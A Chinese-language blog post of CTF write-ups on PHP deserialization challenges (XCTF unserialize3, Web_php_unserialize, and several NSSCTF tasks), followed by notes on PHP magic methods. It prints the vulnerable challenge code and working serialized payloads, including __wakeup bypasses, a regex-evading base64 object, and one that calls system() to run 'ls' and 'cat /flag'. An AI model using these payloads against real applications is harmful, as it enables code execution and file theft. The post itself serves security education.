PHP反序列化

攻防世界

unserialize3

打开本题,可看到一下代码:

复制代码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

根据代码,我们需要进行__wakeup绕过然后获取flag,要注入的参数为code。

让成员属性个数大于类中真实的个数即可:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Web_php_unserialize

打开题目,得到以下代码:

复制代码
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

根据代码,变量var经过base64解码后进行正则匹配,若匹配到o或c,则输出stop hacking!相反,则进行序列化。

输入:index.php?var=O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}

编码后:index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

NSSCTF

1z_unserialize

打开题目,获得以下代码:

复制代码
<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;
​
        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

根据代码,构造it与lly的值即可,注意本题为POST传参。

复制代码
输入:nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
​
nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

ez_ez_unserialize

打开题目,获得以下代码:

复制代码
<?php
class X 
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x; 
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        } 
    }
    function __destruct()
    {
        highlight_file($this->x); 
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

根据代码,需要绕过wakeup函数。

输入:x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

ez_unserialize

这个题需要在题目后面加/robots.txt打开会发现cl45s.php文件。打开文件,可获得以下代码:

需要对p进行传参使其满足this-\>admin=="admin"\&\&this->passwd=="ctf"。

输入:?p=O:4:wllm:2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

魔术方法

1、魔术方法简介

定义:一个预定好的,在特定情况下自动触发的行为方法。

作用:魔术方法在特定的条件下自动调用相关方法,最终导致触发代码。

相关机制:触发时机(必须知道)、功能、参数(部分魔术方法会有传参)、返回值

2、魔术方法

__construct()

构造函数,在实例化一个对象的时候,首先会去自动执行的魔术方法;

触发时机:实例化对象时触发。

功能:提前清理不必要内容。

参数:非必要

__destruct()

析构函数,在对象的所以引用被删除或者当对象被显式销毁时执行的魔术方法。

触发时机:对象引用完成或对象被销毁(获取几次对象就触发几次,因为建立对象一定会有销毁过程,实例化后会触发,反序列化后会触发)

无参数

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。

如果存在,该方法会先被调用,然后才执行序列化的操作。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

参数:成员属性

返回值:需要被序列化的成员属性

__wakeup()

unserialize()会检查是否存在一个__wakeup()魔术方法。

如果存在,则会调用__wakeup()方法,预先准备对象需要的资源。

触发时机:反序列化unserialize()之前

功能:常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

__tostring()

触发时机:把对象当成字符串调用

常用于构造POP链;

__invoke()

触发时机:把对象当成函数调用

__call()

触发时机:调用一个不存在的成员方法

参数:两个参数,第一个参数是调用的不存在的函数名,第二个参数是调用时传参数据。

返回值:不存在的成员方法的名称,调用时的参数

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

参数:两个参数

返回值:不存在的成员方法的名称,调用时的参数

复制代码
<?php
class test{
    public function __callStatic($arg1,$arg2){
        echo "$arg1,$arg2[0]";
    }
}
$test=new test();
$test::callxxx('a');//静态调用
?>

__get()

调用时机:调用的成员属性不存在

参数:一个参数

返回值:不存在的成员属性的名称

__set()

触发时机:给不存在的成员属性赋值

参数:两个参数

返回值:不存在的成员属性的名称和赋的值

__isset()

触发时机:对不可访问属性使用isset()或empty()时,__isset()会被调用。

参数:一个参数

返回值:不存在的成员属性的名称

__unset()

触发时机:对不可访问的属性使用unset()时

参数:一个参数

返回值:不存在的成员属性的名称

__clone()

触发时机:当使用clone关键词拷贝完成一个对象后,新对象会自动调用有定义的魔术方法__clone()

相关推荐
{⌐■_■}22 分钟前
【gin】模型绑定、参数验证及文件上传go案例演示
android·golang·gin
黑客KKKing22 分钟前
网络安全——常用语及linux系统
安全·web安全·php
Ai 编码助手28 分钟前
Go语言的数据竞争 (Data Race) 和 竞态条件 (Race Condition)
开发语言·后端·golang
cd小白1 小时前
Linux第二课:LinuxC高级 学习记录day04
linux·开发语言·学习
_可乐无糖2 小时前
跨平台实践:python中如何检查当前操作系统
android·python·ui·ios·appium·自动化
生信天地2 小时前
PHP与HTML、CSS、JavaScript、jQuery的关系**
javascript·html·php
daily_23332 小时前
c++领域展开第十二幕——类和对象(STL简介——简单了解STL)超详细!!!!
开发语言·c++
上位机付工2 小时前
C#轻松实现ModbusTCP服务器接口
服务器·开发语言·c#·modbustcp服务器
SomeB1oody2 小时前
【Rust自学】12.7. 使用环境变量
开发语言·后端·重构·rust
mosen8682 小时前
Uniapp判断设备是安卓还是 iOS,并调用不同的方法
android·ios·uni-app